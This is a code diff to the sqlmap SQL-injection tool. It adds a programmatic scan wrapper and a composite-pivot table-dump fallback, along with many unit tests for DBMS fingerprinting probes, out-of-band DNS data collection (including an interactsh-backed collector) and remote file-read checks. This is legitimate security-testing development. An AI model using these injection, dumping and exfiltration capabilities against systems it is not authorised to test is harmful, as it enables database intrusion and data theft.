raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown)))
handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json")
os.close(handle)
# Each run gets its own output directory so concurrent scans can not collide on session/dump files
# and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place.
ownOutput = not outputDir
if ownOutput:
outputDir = tempfile.mkdtemp(prefix="sqlmap-output-")
# engine plumbing goes through the very same option namespace
config["batch"] = True
config["disableColoring"] = True
config["outputDir"] = outputDir
config["reportJson"] = report
handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf")
os.close(handle)
saveConfig(config, configFile)
argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"]
if raw:
argv += list(raw)
logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log")
devnull = open(os.devnull, "rb")
kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT}
if os.name == "nt":
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
elif sys.version_info >= (3, 2):
kwargs["start_new_session"] = True # own process group -> clean group teardown
else:
kwargs["preexec_fn"] = os.setsid
process = None
try:
process = subprocess.Popen(argv, **kwargs)
if timeout is None:
process.wait()
else:
end = time.time() + timeout
while process.poll() is None:
if time.time() > end:
_terminateProcess(process)
process.wait()
raise SqlmapError("scan timed out after %s second(s)" % timeout)
time.sleep(0.5)
try:
with open(report, "rb") as f:
return json.loads(f.read().decode("utf-8", "replace"))
except (IOError, OSError, ValueError):
try:
with open(logFile, "rb") as f:
tail = f.read().decode("utf-8", "replace").strip()
except (IOError, OSError):
tail = ""
raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:]))
finally:
try:
os.close(logHandle)
except OSError:
pass
devnull.close()
for path in (report, logFile, configFile):
try:
os.remove(path)
except OSError:
pass
if ownOutput:
shutil.rmtree(outputDir, ignore_errors=True)
def scanFromRequest(requestFile, **options):
"""
Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r')
"""
return scan(requestFile=requestFile, **options)

View file

@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
validColumnList = False
validPivotValue = False
compositePivot = None
if count is None:
query = dumpNode.count % table
@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
errMsg = "all provided column name(s) are non-existent"
raise SqlmapNoneDataException(errMsg)
if not validPivotValue:
# No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a
# concatenation of every column) whose combined value is unique per row, so rows sharing
# a value in every individual column are no longer silently dropped (ref: #1545).
_composite = agent.concatQuery(','.join(colList))
query = dumpNode.count2 % (_composite, table)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(value) and int(value) == count:
infoMsg = "using a concatenation of all columns as a "
infoMsg += "composite pivot for retrieving row data"
logger.info(infoMsg)
compositePivot = _composite
lengths[compositePivot] = 0
entries[compositePivot] = BigArray()
colList.insert(0, compositePivot)
validPivotValue = True
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " It won't be possible to retrieve all rows"
@ -186,4 +207,9 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
logger.critical(errMsg)
# The composite pivot is a synthetic paging key, not a real column - drop it from the output
if compositePivot is not None:
entries.pop(compositePivot, None)
lengths.pop(compositePivot, None)
return entries, lengths

View file

@ -192,6 +192,9 @@ def main():
elif conf.vulnTest:
from lib.core.testing import vulnTest
os._exitcode = 1 - (vulnTest() or 0)
elif conf.fpTest:
from lib.core.testing import fpTest
os._exitcode = 1 - (fpTest() or 0)
elif conf.apiTest:
from lib.core.testing import apiTest
os._exitcode = 1 - (apiTest() or 0)
@ -607,7 +610,7 @@ def main():
except OSError:
pass
if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files
try:
shutil.rmtree(tempDir, ignore_errors=True)
except OSError:
@ -661,3 +664,9 @@ if __name__ == "__main__":
else:
# cancelling postponed imports (because of CI/CD checks)
__import__("lib.controller.controller")
# exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()'
from lib.utils.library import scan, scanFromRequest, SqlmapError
# public library API (also marks the re-exported names above as intentional for pyflakes)
__all__ = ["scan", "scanFromRequest", "SqlmapError"]

View file

@ -216,7 +216,7 @@ paths:
value:
success: true
options:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
batch: true
threads: 1
invalidTask:
@ -257,7 +257,7 @@ paths:
value:
success: true
options:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
cookie: "id=1"
unknownOption:
value:
@ -290,7 +290,7 @@ paths:
cookie: "id=1"
setTarget:
value:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
responses:
"200":
description: Options set, or an API-level failure envelope.
@ -341,7 +341,7 @@ paths:
examples:
basicUrlScan:
value:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
responses:
"200":
description: Scan started, or an API-level failure envelope.
@ -568,7 +568,7 @@ paths:
description: Target output-directory name.
schema:
type: string
example: testasp.vulnweb.com
example: sekumart.sekuripy.hr
- name: filename
in: path
required: true
@ -788,7 +788,7 @@ components:
additionalProperties:
$ref: "#/components/schemas/OptionValue"
example:
url: "http://testasp.vulnweb.com/showforum.asp?id=1"
url: "https://sekumart.sekuripy.hr/product.php?id=1"
cookie: "id=1"
batch: true
threads: 1

View file

@ -98,6 +98,22 @@ def set_dbms(name):
Backend.forceDbms(name)
def reset_dbms():
"""Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state.
A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a
module that forces one without clearing it would leak that back-end into later test modules
(order-dependent flakiness). Modules that call set_dbms() should expose this as their
`tearDownModule` so the leak can never cross a module boundary.
"""
from lib.core.common import Backend
from lib.core.data import kb
from lib.core.settings import UNKNOWN_DBMS_VERSION
Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False
kb.resolutionDbms = None
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) ---
_PROPERTY_BASE = 0x51A1

View file

@ -34,7 +34,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -86,6 +86,7 @@ class _ApiServerCase(unittest.TestCase):
"""
def setUp(self):
self._saved_batch = conf.batch
conf.batch = True
# snapshot mutated globals
@ -122,6 +123,7 @@ class _ApiServerCase(unittest.TestCase):
api.DataStore.username = self._saved["username"]
api.DataStore.password = self._saved["password"]
api.Database.filepath = self._saved["filepath"]
conf.batch = self._saved_batch
def _new_task(self):
code, parsed, _ = _wsgi_call("GET", "/task/new")

View file

@ -28,14 +28,26 @@ from lib.core.bigarray import BigArray
N = 5000
_SPILLED = []
def _make_spilled():
# tiny chunk_size guarantees many on-disk chunks for N items
ba = BigArray(chunk_size=1024)
for i in range(N):
ba.append("item-%d" % i)
_SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files)
return ba
def tearDownModule():
for ba in _SPILLED:
try:
ba.close()
except Exception:
pass
del _SPILLED[:]
class TestSpill(unittest.TestCase):
def test_actually_spilled_to_disk(self):
ba = _make_spilled()

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -53,9 +53,10 @@ _CONF_KEYS = (
"notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data",
"hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor",
"tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon",
"ipv6", "multipleTargets", "level", "base64Parameter", "batch",
"ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles",
)
_KB_KEYS = (
"pageTemplate", "negativeLogic",
"heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime",
"originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding",
"heuristicTest", "heuristicPage", "heuristicCode", "pageStable",

View file

@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import atexit
import base64
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb, paths
@ -119,7 +121,8 @@ from lib.core.common import (
zeroDepthSearch,
)
SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad"
SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path)
atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True))
def _write_temp(content, suffix):
@ -1317,10 +1320,9 @@ class TestCommonChunkSplit(unittest.TestCase):
random.choice, random.randint, random.sample, random.seed = _saved
def test_chunk_split_terminator(self):
import random
from lib.core.common import chunkSplitPostData
random.seed(123)
# regardless of content, the chunked stream must end with the zero-length terminator
# (assertion is seed-independent, so don't touch the global RNG)
self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n"))
@ -1714,3 +1716,7 @@ class TestCheckOldOptions(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -21,7 +21,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -765,3 +765,7 @@ class TestDatabasesBruteForce(_DbBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -24,7 +24,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -20,7 +20,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -4,13 +4,13 @@
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth
table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines
on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end
DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous
map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour
(the probes producing these signatures through a real boolean injection) is exercised against
the live platform, not here.
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table:
the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live
SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the
expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an
unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to
None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing
these signatures through a real boolean injection) is exercised against the live platform, not here.
"""
import os
@ -26,78 +26,80 @@ from lib.core.data import kb
from lib.core.enums import DBMS
from lib.utils.dialect import _classify
from lib.utils.dialect import dialectCheckDbms
from lib.utils.dialect import DIALECT_CANARY
# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2);
# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs-
# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the
# shift flag does NOT change the classification, which the test proves by trying it both ways.
# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS.
# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so
# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint.
MEASURED = {
"mysql": ((True, False, False, True), DBMS.MYSQL),
"mysql5": ((True, False, False, True), DBMS.MYSQL),
"tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible
"postgres": ((False, True, True, True), DBMS.PGSQL),
"cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division)
"cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family
"sqlite": ((False, False, True, True), DBMS.SQLITE),
"mysql": ((True, False, False, True, True), DBMS.MYSQL),
"mysql5": ((True, False, False, True, True), DBMS.MYSQL),
"tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible
"postgres": ((False, True, True, True, True), DBMS.PGSQL),
"cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<')
"cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<')
"mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift
"monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<'
"sqlite": ((False, False, True, True, True), DBMS.SQLITE),
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
"firebird": ((False, False, True, False), None),
"hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2
"derby": ((False, False, True, False), None),
"h2": ((False, False, True, False), None),
"trino": ((False, False, True, False), None),
"iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel
"clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel
}
# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv)
# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does.
SHIFT_SENSITIVE = {
"mssql": ((True, False, True, True, False), DBMS.MSSQL),
"monetdb": ((True, False, True, True, True), DBMS.MONETDB),
"firebird": ((False, False, True, False, False), None),
"hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino
"derby": ((False, False, True, False, False), None),
"h2": ((False, False, True, False, False), None),
"trino": ((False, False, True, False, False), None),
"iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
"clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
}
class TestDialectClassification(unittest.TestCase):
def test_shift_sensitive_engines_split_correctly(self):
# MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift
# probe); 1<<2=4 (MonetDB only) now separates them.
for engine, (signature, expected) in SHIFT_SENSITIVE.items():
def test_measured_engines_map_as_expected(self):
# each engine's exact measured 5-probe signature maps to its expected DBMS (or None)
for engine, (signature, expected) in MEASURED.items():
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
def test_measured_engines_map_as_expected(self):
# for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the
# expected DBMS (proves the new probe never perturbs the existing classifications).
for engine, (base, expected) in MEASURED.items():
for shift in (False, True):
self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift))
def test_shift_splits_monetdb_from_mssql(self):
# MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe);
# 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator.
self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL)
self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB)
def test_no_false_positive_across_measured_set(self):
# non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None),
# never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive)
# engines, so assert it both ways.
for engine, (base, expected) in MEASURED.items():
for shift in (False, True):
result = _classify(base + (shift,))
self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected))
# the only non-None DBMS priors the measured set can yield (sanity on the mapping itself)
produced = set(expected for _, expected in MEASURED.values() if expected is not None)
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE})
def test_whitelist_is_exact_no_false_positive(self):
# only the measured classifying signatures may yield a DBMS; everything else -> None.
classifying = set(sig for sig, exp in MEASURED.values() if exp is not None)
produced = set(exp for _, exp in MEASURED.values() if exp is not None)
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE})
# exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one
for bits in range(32):
sig = tuple(bool(bits & (1 << i)) for i in range(5))
result = _classify(sig)
if sig not in classifying:
self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result))
def test_all_true_noise_is_rejected(self):
# a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive
# oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and
# exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL).
self.assertIsNone(_classify((True, True, True, True, True)))
def test_all_error_signature_yields_no_prior(self):
# an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not
# distinctive enough - it must NOT be guessed as any DBMS
# an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not
# distinctive - it must NOT be guessed as any DBMS
self.assertIsNone(_classify((False, False, False, False, False)))
self.assertIsNone(_classify((False, False, False, False, True)))
def test_pgpow_dominates_as_postgres_marker(self):
# exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour
self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL)
self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL)
def test_pgpow_alone_is_not_enough(self):
# exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full
# signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise
# from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim).
self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL
self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature
class TestDialectCheckDbmsGuard(unittest.TestCase):
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good
channel, and None (no prior) whenever the channel is unreliable - the safety contract."""
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel,
and None (no prior) whenever the channel is unreliable - the safety contract, including the
canary that turns a trashy false-positive channel into a true negative."""
def _run(self, truth):
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
kb.injection = saved
def test_identifies_mysql_on_good_channel(self):
truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True}
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.MYSQL)
def test_identifies_postgres_on_good_channel(self):
truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True}
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
"2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.PGSQL)
def test_none_on_blocked_channel(self):
@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
def test_none_on_static_channel(self):
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True}))
self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True,
"2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}))
def test_none_when_canary_reads_true(self):
# THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even
# yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the
# channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS.
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True,
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL
self.assertIsNone(self._run(truth))
if __name__ == "__main__":

View file

@ -38,7 +38,7 @@ import time
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase):
finally:
c.close()
served[0] += len(chunk)
for _ in range(100):
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
with self.server._lock:
if any(host.encode() in r for r in self.server._requests):
break
@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase):
finally:
c.close()
served[0] += len(chunk)
for _ in range(100):
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
with self.server._lock:
matched = [r for r in self.server._requests if host.encode() in r]
if matched:
@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -23,7 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
from lib.core.settings import MAX_DNS_REQUESTS
from lib.request.dns import DNSQuery, DNSServer
from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer
def build_query(name, tid=b"\x12\x34", qtype=1):
@ -324,3 +324,42 @@ class TestDNSServerConcurrency(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
class TestInteractshDNSServer(unittest.TestCase):
"""The interactsh-backed DNS collector must present the same pop(prefix, suffix)
accounting as DNSServer, matching only prefix.<result>.suffix names and never
returning the same captured lookup twice."""
def _collector(self, names):
class _FakeClient(object):
registered = True
def dnsDomain(self): return "corr0000000000000nnc.oast.fun"
def dnsNames(self): return list(names)
srv = InteractshDNSServer.__new__(InteractshDNSServer)
srv._client = _FakeClient()
srv.domain = srv._client.dnsDomain()
srv._seen = set()
srv._running = True
srv._initialized = True
srv._POLL_TRIES = 1 # no real sleeps in unit tests
return srv
def test_pop_matches_prefix_suffix_and_dedups(self):
names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"]
srv = self._collector(names)
got = srv.pop("aaa", "zzz")
self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc")
self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed
def test_pop_no_match(self):
srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"])
self.assertIsNone(srv.pop("aaa", "zzz"))
def test_pop_any(self):
srv = self._collector(["whatever.corr0000000000000nnc"])
self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc")
def test_run_is_noop(self):
self._collector([]).run() # must not raise

View file

@ -27,7 +27,7 @@ import unittest
from collections import OrderedDict as _PlainOrderedDict
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
from _testutils import bootstrap, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -26,7 +26,7 @@ import unittest
from collections import OrderedDict
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
from _testutils import bootstrap, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -25,10 +25,11 @@ logic fails the test. No live target / network / DBMS involved.
import os
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase):
def test_fileEncode_reads_then_encodes(self):
# fileEncode must read the file bytes and delegate to fileContentEncode
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"hello")
try:
@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase):
# MySQL builds LENGTH(LOAD_FILE('<remote>')) and compares to local size.
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"12345") # 5 bytes
captured = {}
@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase):
def test_checkFileLength_size_differs(self):
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"12345") # local 5
self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9")
@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase):
# OPENROWSET-building branch runs in isolation.
set_dbms("Microsoft SQL Server")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"ABCD") # 4 bytes
stacked = []
@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase):
# non-positive remote size -> treated as "not written" -> sameFile False
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"x")
self.patch(self.module.inject, "getValue", lambda q, *a, **k: None)
@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase):
# stackedWriteFile and return its result.
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid())
